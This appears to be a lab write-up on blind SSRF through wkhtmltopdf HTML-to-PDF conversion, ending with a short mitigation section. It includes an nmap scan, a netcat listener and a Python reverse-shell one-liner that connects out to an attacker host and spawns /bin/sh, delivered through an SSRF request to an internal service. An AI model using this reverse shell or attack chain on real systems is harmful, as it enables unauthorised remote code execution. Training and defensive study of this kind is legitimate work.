Blind SSRF on PDF Generation (Lab)​

PDF GenerationPhoto from Unsplash

Originally Posted On: https://medium.com/@yasmeena_rezk/blind-ssrf-on-pdf-generation-lab-d0d9f88731d6

Description

Even though the request is processed, we can’t see the backend server’s response.

Given Points

Scenario: a web application that receives an HTML file and returns a PDF document.

Goal: achieve RCE against the internal service listening on port 5000

Service: internal.app.local

Detection

  1. Nmap — Discovering Open Ports
nmap -sT -T5 --min-rate=10000 -p- <TARGET IP>

Press enter or click to view image in full size

2. Interacting with the Targe using an open port (8080)

Press enter or click to view image in full size

3. Upload a random html file to figure out how the application processes it

Press enter or click to view image in full size

  • The application returns the same response regardless of the structure and content of the submitted files.

4. Start Netcat Listener

sudo nc -nlvp 9090

5. Now, create an HTML file containing a link to a service under our control:

Press enter or click to view image in full size

6. We received a message from the app to our server revealing that the application used wkhtmltopdf to convert the HTML document to PDF.

  • Note: We can execute JavaScript in wkhtmltopdf.

Press enter or click to view image in full size

Exploitation

Create an HTML document with a valid payload for exploiting the local application listening on (internal.app.local)

7. URL encode the below Python One-Liner Reverse Shell twice:

export RHOST="<VPN/TUN IP>";export RPORT="<PORT>";python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")'

8. Create an HTML file that performs a GET request to internal.app.local to get RCE via SSRF:

To know how we got the used parameter for gaining RCE on the current service (internal.app.local), see SSRF lab Part1.

9. Start a Netcat Listener -> Submit the new HTML file -> Wait for the response:

Press enter or click to view image in full size

Press enter or click to view image in full size

Finally, we successfully obtained a reverse shell through a Python one-liner to get RCE.

Additional Resources

Mitigating SSRF in HTML-to-PDF Generation

For developers building PDF generation features and concerned about the SSRF vulnerabilities demonstrated in this lab, choosing a more secure PDF library can be one mitigation strategy. IronPDF uses a sandboxed Chromium rendering engine rather than wkhtmltopdf and provides options to disable external resource loading and JavaScript execution.

using IronPdf;

var renderer = new ChromePdfRenderer();
renderer.RenderingOptions.EnableJavaScript = false;
var pdf = renderer.RenderHtmlAsPdf(sanitizedHtml);

While input sanitization remains essential regardless of which library is used, modern PDF generators with built-in security controls reduce the attack surface compared to older tools, which have known CVEs (for example, CVE-2022–35583) and are no longer actively maintained.